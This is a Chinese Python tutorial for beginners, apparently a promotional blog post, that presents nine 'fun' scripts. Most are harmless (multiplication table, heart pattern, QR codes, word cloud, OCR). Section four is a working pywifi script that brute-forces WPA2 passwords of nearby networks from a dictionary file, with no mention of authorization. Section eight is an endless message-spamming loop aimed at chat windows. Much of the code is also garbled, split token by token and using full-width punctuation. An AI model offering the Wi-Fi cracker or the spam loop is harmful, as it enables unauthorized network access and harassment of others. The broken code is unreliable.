作為一名python小白,學的時候感覺都學會了,自己寫就廢了。

什麼原因呢?是自己練習太少了!!!

今天給大家帶來一些好玩的案例,提高大家的學習興趣。

Python可以憑藉更加簡短的程式碼實現許多有趣的操作。

一、九九乘法表

還記得我們熟記於心的九九乘法表嗎?來,我們來鞏固下,我們用一行程式碼打印出來。(左右滑動檢視所有程式碼)

print

\n

join

([

‘ ’

join

([

%s

*

%s

=

%-2s

%

y

x

x

*

y

foryinrange

1

x

+

1

)])

forxinrange

1

10

)]))

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

二、一行列印心形圖案

不會表白?一行程式碼告訴你!

print(‘\n’。join([‘’。join([(‘AndyLove’[(x-y)%8]if((x*0。05)**2+(y*0。1)**2-1)**3-(x*0。05)**2*(y*0。1)**3<=0else‘ ’)forxinrange(-30,30)])foryinrange(15,-15,-1)]))

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

還沒開始學python的看到這篇文章可以點選下方的卡片進群免費學習,大量的實操案例帶你瞭解python,python這個語言男女皆宜,老少皆宜。

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

三、美麗的螺旋

你覺得上面的心型圖案不夠浪漫?那麼試試下面這個美麗的螺旋?在 Python

編譯器

中輸入下面的程式碼。(左右滑動檢視所有程式碼)

exec(“”“\nfrom turtle import *\nfor i in range(500): \n forward(i)\n left(91)\n”“”)

看下執行過程中的部分圖。

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

這個畫相簿用的是 turtle 庫。

四、破解wifi密碼

#!/usr/bin/env python

# -*- coding: utf-8 -*-

“”“

使用暴力破解法破解wifi密碼

需要從網上下載wifi密碼字典

可行性並不高

”“”

import

time

# 破解wifi庫

import pywifi

from pywifi import const

class PoJie(object):

def __init__(self, path):

# wifi密碼字典檔案

self。file = open(path, ‘r’, errors=‘ignore’)

# 抓取網絡卡介面

wifi = pywifi。PyWiFi()

# 抓取第一個網絡卡

self。iface =

wifi。interfaces

()[0]

# 測試連線時斷開所有的連結

self。iface。disconnect()

time。sleep(1)

self。alist = self。initialssidnamelist()

# 測試是否處於斷開狀態

assert self。iface。status() in [const。IFACE_DISCONNECTED, const。IFACE_INACTIVE]

def bies(self):

# 掃描

self。iface。scan()

# 獲取掃描結果

bessis = self。iface。scan_results()

alist = []

for data in bessis:

alist。append((data。ssid, data。signal))

# 按訊號強度排序

return len(alist), sorted(alist, key=

lambda

st: st[1], reverse=True)

def getsignal(self):

while True:

# 獲取所有的wifi

n, data = self。bies()

time。sleep(1)

if n is not 0:

# 如果數量不為0,返回前10個訊號最好的

return data[0:10]

def initialssidnamelist(self):

ssidlist = self。getsignal()

namelist = []

# 獲取前10個wifi的名稱

for item in ssidlist:

namelist。append(item[0])

return namelist

def readPassword(self, ssidname, myStr):

# 測試wifi名和密碼是否匹配

bool1 = self。test_connect(myStr, ssidname)

if len(myStr) < 8:

return False

if bool1:

# 儲存密碼和wifi名到檔案中

save_password_to_file(myStr, ssidname)

print(‘————————————————————————密碼正確: ’ + myStr + ‘——-’ + ssidname)

return True

else:

print(‘密碼錯誤: ’ + myStr + ‘ ’ + ssidname)

return False

def test_connect(self, findStr, ssidname):

“”“

測試連線

:param findStr: 密碼

:param ssidname: wifi名

”“”

# 建立wifi連結檔案

profile = pywifi。Profile()

# wifi名稱

profile。ssid = ssidname

# 開放網絡卡

profile。auth = const。AUTH_ALG_OPEN

#

wifi加密演算法

profile。akm。append(const。AKM_TYPE_WPA2PSK)

# 加密單元

profile。cipher = const。CIPHER_TYPE_CCMP

# 密碼

profile。key = findStr

# 刪除所有的wifi檔案

self。iface。remove_all_network_profiles()

# 設定新的連結檔案

tmp_profile = self。iface。add_network_profile(profile)

# 連線

self。iface。connect(tmp_profile)

time。sleep(2)

# 判斷是否已經連線上

if self。iface。status() == const。IFACE_CONNECTED:

isOk = True

else:

isOk = False

self。iface。disconnect()

time。sleep(1)

# 檢查斷開狀態

assert self。iface。status() in [const。IFACE_DISCONNECTED, const。IFACE_INACTIVE]

return isOk

def run(self):

while True:

myStr = self。file。readline()

for ssidname in self。alist:

ret = self。readPassword(ssidname, myStr)

if ret:

raise

FileExistsError

def __del__(self):

self。file。close()

def save_password_to_file(myStr, ssidname):

with open(‘password。txt’, ‘a’) as fp:

fp。write(str(myStr) + ‘——>’ + str(ssidname))

if __name__ == ‘__main__’:

#

密碼字典

檔案所在路徑

path = ‘E:\WIFImmzidianbao\WIFI955M。txt’

start = PoJie(path)

start。run()

五、生成二維碼

二維碼又稱二維條碼,常見的二維碼為QR Code,QR全稱Quick Response,是一個近幾年來移動裝置上超流行的一種編碼方式,而生成一個二維碼也非常簡單,在Python中我們可以透過MyQR模組了生成二維碼,而生成一個二維碼我們只需要2行程式碼,我們先安裝MyQR模組,這裡選用國內的源下載:

pip install qrcode

安裝完成後我們就可以開始寫程式碼了:

import qrcode

text = input(“輸入文字或URL:”)

# 設定URL必須新增http://

img =

qrcode。make

(text)

img。save()

#儲存圖片至本地目錄,可以設定路徑

img。show()

我們執行程式碼後會在專案下生成一張二維碼。當然我們還可以豐富二維碼:

我們先安裝MyQR模組

pip install myqr

-

def gakki_code():

version, level, qr_name =

myqr。run

words=“https://520mg。com/it/#/main/2”,

# 可以是字串,也可以是網址(前面要加http(s)://)

version=1, # 設定

容錯率

為最高

level=‘H’,

# 控制糾錯水平,範圍是L、M、Q、H,從左到右依次升高

picture=“gakki。gif”,

# 將二維碼和圖片合成

colorized=True, # 彩色二維碼

contrast=1。0,

# 用以調節圖片的

對比度

,1。0 表示原始圖片,更小的值表示更低對比度,更大反之。預設為1。0

brightness=1。0,

# 用來調節圖片的亮度,其餘用法和取值同上

save_name=“gakki_code。gif”,

# 儲存檔案的名字,格式可以是jpg,png,bmp,gif

save_dir=os。getcwd() # 控制位置

gakki_code

()

效果圖如下:

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

另外MyQR還支援動態圖片。

六、生成詞雲

詞雲又叫文字雲,是對文字資料中出現頻率較高的“關鍵詞”在視覺上的突出呈現,形成關鍵詞的渲染形成類似雲一樣的彩色圖片,從而一眼就可以領略文字資料的主要表達意思。

但是作為一個老碼農,還是喜歡自己用程式碼生成自己的詞雲,複雜麼?需要很長時間麼?很多文字都介紹過各種的方法,但實際上只需要10行python程式碼即可。

先安裝必要庫

pip install wordcloud

pip install

jieba

pip install matplotlib

-

import matplotlib。pyplot as plt

from wordcloud import WordCloud

import jieba

text_from_file_

with_apath

= open(‘/Users/hecom/23tips。txt’)。read()

wordlist_after_jieba = jieba。cut(text_from_file_with_apath, cut_all = True)

wl_space_split = “ ”。join(wordlist_after_jieba)

my_wordcloud

= WordCloud()。generate(wl_space_split)

plt。imshow(my_wordcloud)

plt。axis(“off”)

plt。show()

如此而已,生成的一個詞雲是這樣的:

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

讀一下這10行程式碼:

1~3 行,分別匯入了畫圖的庫matplotlib,詞雲生成庫wordcloud 和 jieba的分詞庫;

4 行,是讀取本地的檔案,程式碼中使用的文字是本公眾號中的《老曹眼中研發管理二三事》。

5~6 行,使用jieba進行

分詞

,並對分詞的結果以空格隔開;

7行,對分詞後的文字生成詞雲;

8~10行,用pyplot展示詞雲圖。

這是我喜歡python的一個原因吧,簡潔明快。

七、識別是否帶了口罩

這裡同樣是使用PaddlePaddle的產品,我們按照上面步驟安裝好PaddlePaddle和Paddlehub,然後就開始寫程式碼:

import paddlehub as hub

# 載入模型

module = hub。Module(name=‘pyramidbox_lite_mobile_mask’)

# 圖片列表

image_list = [‘face。jpg’]

# 獲取圖片字典

input_

dict

= {‘image’:image_list}

# 檢測是否帶了口罩

module。face_detection(data=input_dict)

執行上述程式後,專案下會生成detection_result資料夾,識別結果都會在裡面,識別效果如下:

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

八、簡易資訊轟炸

Python控制輸入裝置的方式有很多種,我們可以透過win32或者pynput模組。我們可以透過簡單的迴圈操作來達到資訊轟炸的效果,這裡以pynput為例,我們需要先安裝模組:

pip install -i https://pypi。tuna。tsinghua。edu。cn/simple/ pynput

在寫程式碼之前我們需要手動獲取輸入框的座標:

from pynput import mouse

# 建立一個滑鼠

m_mouse = mouse。Controller()

# 輸出滑鼠位置

print(m_mouse。position)

可能有更高效的方法,但是我不會。

獲取後我們就可以記錄這個座標,訊息視窗不要移動。然後我們執行下列程式碼並將視窗切換至訊息頁面:

import time

from pynput import mouse, keyboard

time。sleep(5)

m_mouse = mouse。Controller() # 建立一個滑鼠

m_keyboard = keyboard。Controller() # 建立一個鍵盤

m_mouse。position = (850, 670) # 將滑鼠移動到指定位置

m_mouse。click(mouse。Button。left) # 點選滑鼠左鍵

while(True):

m_keyboard。type(‘你好’) # 打字

m_keyboard。press(keyboard。Key。enter) # 按下enter

m_keyboard。release(keyboard。Key。enter) # 鬆開enter

time。sleep(0。5) # 等待 0。5秒

我承認,這個超過了10行程式碼,而且也不高階。使用前QQ給小號發信息效果如下:

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

資訊轟炸這個技能可以看實操的,對python小技能感興趣想看具體怎麼操作的可以加入下面的卡片進群學習,先免費獲取一波教程,公開課帶領大家實操。

孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)

九、識別圖片中的文字

我們可以透過Tesseract來識別圖片中的文字,在Python中實現起來非常簡單,但是前期下載檔案、配置環境變數等稍微有些繁瑣,所以本文只展示程式碼:

import pytesseract

from

PIL

import Image

img = Image。open(‘text。jpg’)

text = pytesseract。image_to_

string

(img)

print(text)

其中text就是識別出來的文字。如果對準確率不滿意的話,還可以使用百度的通用文字介面。

學習任何一門語言,光知道語法是不夠的,要提高必須多加實踐。雖然Python是“萬金油”,適用面很廣,但不從事相關領域的研究或工作,很難去直接使用相關功能。對於一般的學生或初學者來說,學了點語法就去做大

資料分析

或科學計算視覺化的可能性還是不大的。需要腳踏實地,多寫案例,多寫程式碼。

鍵盤敲爛,月薪過萬